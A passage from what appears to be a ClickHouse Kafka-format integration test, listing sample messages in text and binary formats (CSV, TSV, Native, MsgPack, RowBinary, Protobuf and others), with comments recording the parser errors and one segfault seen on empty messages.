'["1", 0, "AM", 0.5, 1]\n["2", 0, "AM", 0.5, 1]\n["3", 0, "AM", 0.5, 1]\n["4", 0, "AM", 0.5, 1]\n["5", 0, "AM", 0.5, 1]\n["6", 0, "AM", 0.5, 1]\n["7", 0, "AM", 0.5, 1]\n["8", 0, "AM", 0.5, 1]\n["9", 0, "AM", 0.5, 1]\n["10", 0, "AM", 0.5, 1]\n["11", 0, "AM", 0.5, 1]\n["12", 0, "AM", 0.5, 1]\n["13", 0, "AM", 0.5, 1]\n["14", 0, "AM", 0.5, 1]\n["15", 0, "AM", 0.5, 1]\n',
'["0", 0, "AM", 0.5, 1]\n',
],
'supports_empty_value': True,
},
'JSONCompactEachRowWithNamesAndTypes': {
'data_sample': [
'["id", "blockNo", "val1", "val2", "val3"]\n["Int64", "UInt16", "String", "Float32", "UInt8"]\n["0", 0, "AM", 0.5, 1]\n',
'["id", "blockNo", "val1", "val2", "val3"]\n["Int64", "UInt16", "String", "Float32", "UInt8"]\n["1", 0, "AM", 0.5, 1]\n["2", 0, "AM", 0.5, 1]\n["3", 0, "AM", 0.5, 1]\n["4", 0, "AM", 0.5, 1]\n["5", 0, "AM", 0.5, 1]\n["6", 0, "AM", 0.5, 1]\n["7", 0, "AM", 0.5, 1]\n["8", 0, "AM", 0.5, 1]\n["9", 0, "AM", 0.5, 1]\n["10", 0, "AM", 0.5, 1]\n["11", 0, "AM", 0.5, 1]\n["12", 0, "AM", 0.5, 1]\n["13", 0, "AM", 0.5, 1]\n["14", 0, "AM", 0.5, 1]\n["15", 0, "AM", 0.5, 1]\n',
'["id", "blockNo", "val1", "val2", "val3"]\n["Int64", "UInt16", "String", "Float32", "UInt8"]\n["0", 0, "AM", 0.5, 1]\n',
# ''
# On empty message exception: Cannot parse input: expected '[' at end of stream., Stack trace (when copying this message, always include the lines below):
# /src/IO/ReadHelpers.h:175: DB::assertChar(char, DB::ReadBuffer&) @ 0x15db231a in /usr/bin/clickhouse
# /src/Processors/Formats/Impl/JSONCompactEachRowRowInputFormat.cpp:0: DB::JSONCompactEachRowRowInputFormat::readPrefix() @ 0x1dee6bd6 in /usr/bin/clickhouse
# /src/Processors/Formats/IRowInputFormat.cpp:0: DB::IRowInputFormat::generate() @ 0x1de72710 in /usr/bin/clickhouse
],
},
'TSKV': {
'data_sample': [
'id=0\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\n',
'id=1\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=2\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=3\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=4\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=5\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=6\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=7\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=8\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=9\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=10\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=11\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=12\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=13\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=14\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=15\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\n',
'id=0\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\n',
# ''
# On empty message exception: Unexpected end of stream while reading key name from TSKV format
# /src/Processors/Formats/Impl/TSKVRowInputFormat.cpp:88: DB::readName(DB::ReadBuffer&, StringRef&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >&) @ 0x1df8c098 in /usr/bin/clickhouse
# /src/Processors/Formats/Impl/TSKVRowInputFormat.cpp:114: DB::TSKVRowInputFormat::readRow(std::__1::vector<COW<DB::IColumn>::mutable_ptr<DB::IColumn>, std::__1::allocator<COW<DB::IColumn>::mutable_ptr<DB::IColumn> > >&, DB::RowReadExtension&) @ 0x1df8ae3e in /usr/bin/clickhouse
# /src/Processors/Formats/IRowInputFormat.cpp:64: DB::IRowInputFormat::generate() @ 0x1de727cf in /usr/bin/clickhouse
],
},
'CSV': {
'data_sample': [
'0,0,"AM",0.5,1\n',
'1,0,"AM",0.5,1\n2,0,"AM",0.5,1\n3,0,"AM",0.5,1\n4,0,"AM",0.5,1\n5,0,"AM",0.5,1\n6,0,"AM",0.5,1\n7,0,"AM",0.5,1\n8,0,"AM",0.5,1\n9,0,"AM",0.5,1\n10,0,"AM",0.5,1\n11,0,"AM",0.5,1\n12,0,"AM",0.5,1\n13,0,"AM",0.5,1\n14,0,"AM",0.5,1\n15,0,"AM",0.5,1\n',
'0,0,"AM",0.5,1\n',
],
'supports_empty_value': True,
},
'TSV': {
'data_sample': [
'0\t0\tAM\t0.5\t1\n',
'1\t0\tAM\t0.5\t1\n2\t0\tAM\t0.5\t1\n3\t0\tAM\t0.5\t1\n4\t0\tAM\t0.5\t1\n5\t0\tAM\t0.5\t1\n6\t0\tAM\t0.5\t1\n7\t0\tAM\t0.5\t1\n8\t0\tAM\t0.5\t1\n9\t0\tAM\t0.5\t1\n10\t0\tAM\t0.5\t1\n11\t0\tAM\t0.5\t1\n12\t0\tAM\t0.5\t1\n13\t0\tAM\t0.5\t1\n14\t0\tAM\t0.5\t1\n15\t0\tAM\t0.5\t1\n',
'0\t0\tAM\t0.5\t1\n',
],
'supports_empty_value': True,
},
'CSVWithNames': {
'data_sample': [
'"id","blockNo","val1","val2","val3"\n0,0,"AM",0.5,1\n',
'"id","blockNo","val1","val2","val3"\n1,0,"AM",0.5,1\n2,0,"AM",0.5,1\n3,0,"AM",0.5,1\n4,0,"AM",0.5,1\n5,0,"AM",0.5,1\n6,0,"AM",0.5,1\n7,0,"AM",0.5,1\n8,0,"AM",0.5,1\n9,0,"AM",0.5,1\n10,0,"AM",0.5,1\n11,0,"AM",0.5,1\n12,0,"AM",0.5,1\n13,0,"AM",0.5,1\n14,0,"AM",0.5,1\n15,0,"AM",0.5,1\n',
'"id","blockNo","val1","val2","val3"\n0,0,"AM",0.5,1\n',
# '',
# On empty message exception happens: Attempt to read after eof
# /src/IO/VarInt.h:122: DB::throwReadAfterEOF() @ 0x15c34487 in /usr/bin/clickhouse
# /src/IO/ReadHelpers.cpp:583: void DB::readCSVStringInto<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > >(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >&, DB::ReadBuffer&, DB::FormatSettings::CSV const&) @ 0x15c961e1 in /usr/bin/clickhouse
# /src/IO/ReadHelpers.cpp:678: DB::readCSVString(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >&, DB::ReadBuffer&, DB::FormatSettings::CSV const&) @ 0x15c8dfae in /usr/bin/clickhouse
# /src/Processors/Formats/Impl/CSVRowInputFormat.cpp:170: DB::CSVRowInputFormat::readPrefix() @ 0x1dec46f7 in /usr/bin/clickhouse
# /src/Processors/Formats/IRowInputFormat.cpp:0: DB::IRowInputFormat::generate() @ 0x1de72710 in /usr/bin/clickhouse
# /src/Processors/ISource.cpp:48: DB::ISource::work() @ 0x1dd79737 in /usr/bin/clickhouse
],
},
'Values': {
'data_sample': [
"(0,0,'AM',0.5,1)",
"(1,0,'AM',0.5,1),(2,0,'AM',0.5,1),(3,0,'AM',0.5,1),(4,0,'AM',0.5,1),(5,0,'AM',0.5,1),(6,0,'AM',0.5,1),(7,0,'AM',0.5,1),(8,0,'AM',0.5,1),(9,0,'AM',0.5,1),(10,0,'AM',0.5,1),(11,0,'AM',0.5,1),(12,0,'AM',0.5,1),(13,0,'AM',0.5,1),(14,0,'AM',0.5,1),(15,0,'AM',0.5,1)",
"(0,0,'AM',0.5,1)",
],
'supports_empty_value': True,
},
'TSVWithNames': {
'data_sample': [
'id\tblockNo\tval1\tval2\tval3\n0\t0\tAM\t0.5\t1\n',
'id\tblockNo\tval1\tval2\tval3\n1\t0\tAM\t0.5\t1\n2\t0\tAM\t0.5\t1\n3\t0\tAM\t0.5\t1\n4\t0\tAM\t0.5\t1\n5\t0\tAM\t0.5\t1\n6\t0\tAM\t0.5\t1\n7\t0\tAM\t0.5\t1\n8\t0\tAM\t0.5\t1\n9\t0\tAM\t0.5\t1\n10\t0\tAM\t0.5\t1\n11\t0\tAM\t0.5\t1\n12\t0\tAM\t0.5\t1\n13\t0\tAM\t0.5\t1\n14\t0\tAM\t0.5\t1\n15\t0\tAM\t0.5\t1\n',
'id\tblockNo\tval1\tval2\tval3\n0\t0\tAM\t0.5\t1\n',
],
'supports_empty_value': True,
},
'TSVWithNamesAndTypes': {
'data_sample': [
'id\tblockNo\tval1\tval2\tval3\nInt64\tUInt16\tString\tFloat32\tUInt8\n0\t0\tAM\t0.5\t1\n',
'id\tblockNo\tval1\tval2\tval3\nInt64\tUInt16\tString\tFloat32\tUInt8\n1\t0\tAM\t0.5\t1\n2\t0\tAM\t0.5\t1\n3\t0\tAM\t0.5\t1\n4\t0\tAM\t0.5\t1\n5\t0\tAM\t0.5\t1\n6\t0\tAM\t0.5\t1\n7\t0\tAM\t0.5\t1\n8\t0\tAM\t0.5\t1\n9\t0\tAM\t0.5\t1\n10\t0\tAM\t0.5\t1\n11\t0\tAM\t0.5\t1\n12\t0\tAM\t0.5\t1\n13\t0\tAM\t0.5\t1\n14\t0\tAM\t0.5\t1\n15\t0\tAM\t0.5\t1\n',
'id\tblockNo\tval1\tval2\tval3\nInt64\tUInt16\tString\tFloat32\tUInt8\n0\t0\tAM\t0.5\t1\n',
# '',
# On empty message exception happens: Cannot parse input: expected '\n' at end of stream.
# /src/IO/ReadHelpers.cpp:84: DB::throwAtAssertionFailed(char const*, DB::ReadBuffer&) @ 0x15c8d8ec in /usr/bin/clickhouse
# /src/IO/ReadHelpers.h:175: DB::assertChar(char, DB::ReadBuffer&) @ 0x15db231a in /usr/bin/clickhouse
# /src/Processors/Formats/Impl/TabSeparatedRowInputFormat.cpp:24: DB::skipTSVRow(DB::ReadBuffer&, unsigned long) @ 0x1df92fac in /usr/bin/clickhouse
# /src/Processors/Formats/Impl/TabSeparatedRowInputFormat.cpp:168: DB::TabSeparatedRowInputFormat::readPrefix() @ 0x1df92df0 in /usr/bin/clickhouse
# /src/Processors/Formats/IRowInputFormat.cpp:0: DB::IRowInputFormat::generate() @ 0x1de72710 in /usr/bin/clickhouse
],
},
# 'Template' : {
# 'data_sample' : [
# '(id = 0, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)',
# # '(id = 1, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 2, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 3, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 4, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 5, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 6, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 7, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 8, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 9, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 10, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 11, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 12, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 13, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 14, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 15, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)',
# # '(id = 0, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)',
# # '' # tolerates
# ],
# 'extra_settings': ", format_template_row='template_row.format'"
# },
'Regexp': {
'data_sample': [
'(id = 0, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)',
'(id = 1, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 2, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 3, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 4, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 5, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 6, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 7, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 8, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 9, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 10, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 11, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 12, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 13, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 14, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)\n(id = 15, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)',
'(id = 0, blockNo = 0, val1 = "AM", val2 = 0.5, val3 = 1)',
# ''
# On empty message exception happens: Line "" doesn't match the regexp.: (at row 1)
# /src/Processors/Formats/Impl/RegexpRowInputFormat.cpp:140: DB::RegexpRowInputFormat::readRow(std::__1::vector<COW<DB::IColumn>::mutable_ptr<DB::IColumn>, std::__1::allocator<COW<DB::IColumn>::mutable_ptr<DB::IColumn> > >&, DB::RowReadExtension&) @ 0x1df82fcb in /usr/bin/clickhouse
],
'extra_settings': r", format_regexp='\(id = (.+?), blockNo = (.+?), val1 = \"(.+?)\", val2 = (.+?), val3 = (.+?)\)', format_regexp_escaping_rule='Escaped'"
},
## BINARY FORMATS
# dumped with
# clickhouse-client ... | xxd -ps -c 200 | tr -d '\n' | sed 's/\(..\)/\\x\1/g'
'Native': {
'data_sample': [
b'\x05\x01\x02\x69\x64\x05\x49\x6e\x74\x36\x34\x00\x00\x00\x00\x00\x00\x00\x00\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x06\x55\x49\x6e\x74\x31\x36\x00\x00\x04\x76\x61\x6c\x31\x06\x53\x74\x72\x69\x6e\x67\x02\x41\x4d\x04\x76\x61\x6c\x32\x07\x46\x6c\x6f\x61\x74\x33\x32\x00\x00\x00\x3f\x04\x76\x61\x6c\x33\x05\x55\x49\x6e\x74\x38\x01',
b'\x05\x0f\x02\x69\x64\x05\x49\x6e\x74\x36\x34\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x06\x55\x49\x6e\x74\x31\x36\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x76\x61\x6c\x31\x06\x53\x74\x72\x69\x6e\x67\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x04\x76\x61\x6c\x32\x07\x46\x6c\x6f\x61\x74\x33\x32\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x04\x76\x61\x6c\x33\x05\x55\x49\x6e\x74\x38\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01',
b'\x05\x01\x02\x69\x64\x05\x49\x6e\x74\x36\x34\x00\x00\x00\x00\x00\x00\x00\x00\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x06\x55\x49\x6e\x74\x31\x36\x00\x00\x04\x76\x61\x6c\x31\x06\x53\x74\x72\x69\x6e\x67\x02\x41\x4d\x04\x76\x61\x6c\x32\x07\x46\x6c\x6f\x61\x74\x33\x32\x00\x00\x00\x3f\x04\x76\x61\x6c\x33\x05\x55\x49\x6e\x74\x38\x01',
# ''
# On empty message exception happens: DB::Exception: Attempt to read after eof
# /src/IO/VarInt.h:122: DB::throwReadAfterEOF() @ 0x15c34487 in /usr/bin/clickhouse
# /src/IO/VarInt.h:135: void DB::readVarUIntImpl<false>(unsigned long&, DB::ReadBuffer&) @ 0x15c68bb7 in /usr/bin/clickhouse
# /src/IO/VarInt.h:149: DB::readVarUInt(unsigned long&, DB::ReadBuffer&) @ 0x15c68844 in /usr/bin/clickhouse
# /src/DataStreams/NativeBlockInputStream.cpp:124: DB::NativeBlockInputStream::readImpl() @ 0x1d3e2778 in /usr/bin/clickhouse
# /src/DataStreams/IBlockInputStream.cpp:60: DB::IBlockInputStream::read() @ 0x1c9c92fd in /usr/bin/clickhouse
# /src/Processors/Formats/Impl/NativeFormat.h:42: DB::NativeInputFormatFromNativeBlockInputStream::generate() @ 0x1df1ea79 in /usr/bin/clickhouse
# /src/Processors/ISource.cpp:48: DB::ISource::work() @ 0x1dd79737 in /usr/bin/clickhouse
],
},
'MsgPack': {
'data_sample': [
b'\x00\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01',
b'\x01\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x02\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x03\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x04\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x05\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x06\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x07\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x08\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x09\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x0a\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x0b\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x0c\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x0d\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x0e\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01\x0f\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01',
b'\x00\x00\xa2\x41\x4d\xca\x3f\x00\x00\x00\x01',
# ''
# On empty message exception happens: Unexpected end of file while parsing msgpack object.: (at row 1)
# coming from Processors/Formats/Impl/MsgPackRowInputFormat.cpp:170
],
},
'RowBinary': {
'data_sample': [
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
# ''
# On empty message exception happens: DB::Exception: Cannot read all data. Bytes read: 0. Bytes expected: 8.
# /src/IO/ReadBuffer.h:157: DB::ReadBuffer::readStrict(char*, unsigned long) @ 0x15c6894d in /usr/bin/clickhouse
# /src/IO/ReadHelpers.h:108: void DB::readPODBinary<long>(long&, DB::ReadBuffer&) @ 0x15c67715 in /usr/bin/clickhouse
# /src/IO/ReadHelpers.h:737: std::__1::enable_if<is_arithmetic_v<long>, void>::type DB::readBinary<long>(long&, DB::ReadBuffer&) @ 0x15e7afbd in /usr/bin/clickhouse
# /src/DataTypes/DataTypeNumberBase.cpp:180: DB::DataTypeNumberBase<long>::deserializeBinary(DB::IColumn&, DB::ReadBuffer&) const @ 0x1cace581 in /usr/bin/clickhouse
# /src/Processors/Formats/Impl/BinaryRowInputFormat.cpp:22: DB::BinaryRowInputFormat::readRow(std::__1::vector<COW<DB::IColumn>::mutable_ptr<DB::IColumn>, std::__1::allocator<COW<DB::IColumn>::mutable_ptr<DB::IColumn> > >&, DB::RowReadExtension&) @ 0x1dea2c0b in /usr/bin/clickhouse
],
},
'RowBinaryWithNamesAndTypes': {
'data_sample': [
b'\x05\x02\x69\x64\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x04\x76\x61\x6c\x31\x04\x76\x61\x6c\x32\x04\x76\x61\x6c\x33\x05\x49\x6e\x74\x36\x34\x06\x55\x49\x6e\x74\x31\x36\x06\x53\x74\x72\x69\x6e\x67\x07\x46\x6c\x6f\x61\x74\x33\x32\x05\x55\x49\x6e\x74\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
b'\x05\x02\x69\x64\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x04\x76\x61\x6c\x31\x04\x76\x61\x6c\x32\x04\x76\x61\x6c\x33\x05\x49\x6e\x74\x36\x34\x06\x55\x49\x6e\x74\x31\x36\x06\x53\x74\x72\x69\x6e\x67\x07\x46\x6c\x6f\x61\x74\x33\x32\x05\x55\x49\x6e\x74\x38\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
b'\x05\x02\x69\x64\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x04\x76\x61\x6c\x31\x04\x76\x61\x6c\x32\x04\x76\x61\x6c\x33\x05\x49\x6e\x74\x36\x34\x06\x55\x49\x6e\x74\x31\x36\x06\x53\x74\x72\x69\x6e\x67\x07\x46\x6c\x6f\x61\x74\x33\x32\x05\x55\x49\x6e\x74\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
# ''
# !!! On empty message segfault: Address not mapped to object
# /contrib/FastMemcpy/FastMemcpy.h:666: memcpy_fast @ 0x21742d65 in /usr/bin/clickhouse
# /contrib/FastMemcpy/memcpy_wrapper.c:5: memcpy @ 0x21738235 in /usr/bin/clickhouse
# /src/IO/ReadBuffer.h:145: DB::ReadBuffer::read(char*, unsigned long) @ 0x15c369d7 in /usr/bin/clickhouse
# /src/IO/ReadBuffer.h:155: DB::ReadBuffer::readStrict(char*, unsigned long) @ 0x15c68878 in /usr/bin/clickhouse
# /src/DataTypes/DataTypeString.cpp:84: DB::DataTypeString::deserializeBinary(DB::IColumn&, DB::ReadBuffer&) const @ 0x1cad12e7 in /usr/bin/clickhouse
# /src/Processors/Formats/Impl/BinaryRowInputFormat.cpp:22: DB::BinaryRowInputFormat::readRow(std::__1::vector<COW<DB::IColumn>::mutable_ptr<DB::IColumn>, std::__1::allocator<COW<DB::IColumn>::mutable_ptr<DB::IColumn> > >&, DB::RowReadExtension&) @ 0x1dea2c0b in /usr/bin/clickhouse
],
},
'Protobuf': {
'data_sample': [
b'\x0b\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01',
b'\x0d\x08\x01\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x02\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x03\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x04\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x05\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x06\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x07\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x08\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x09\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x0a\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x0b\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x0c\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x0d\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x0e\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01\x0d\x08\x0f\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01',
b'\x0b\x1a\x02\x41\x4d\x25\x00\x00\x00\x3f\x28\x01',
# ''
# On empty message exception: Attempt to read after eof
# /src/IO/ReadBuffer.h:184: DB::ReadBuffer::throwReadAfterEOF() @ 0x15c9699b in /usr/bin/clickhouse
# /src/Formats/ProtobufReader.h:115: DB::ProtobufReader::SimpleReader::startMessage() @ 0x1df4f828 in /usr/bin/clickhouse
# /src/Formats/ProtobufReader.cpp:1119: DB::ProtobufReader::startMessage() @ 0x1df5356c in /usr/bin/clickhouse
# /src/Processors/Formats/Impl/ProtobufRowInputFormat.cpp:25: DB::ProtobufRowInputFormat::readRow(std::__1::vector<COW<DB::IColumn>::mutable_ptr<DB::IColumn>, std::__1::allocator<COW<DB::IColumn>::mutable_ptr<DB::IColumn> > >&, DB::RowReadExtension&) @ 0x1df4cc71 in /usr/bin/clickhouse
# /src/Processors/Formats/IRowInputFormat.cpp:64: DB::IRowInputFormat::generate() @ 0x1de727cf in /usr/bin/clickhouse
],
'extra_settings': ", kafka_schema='test:TestMessage'"
},
'ORC': {
'data_sample': [
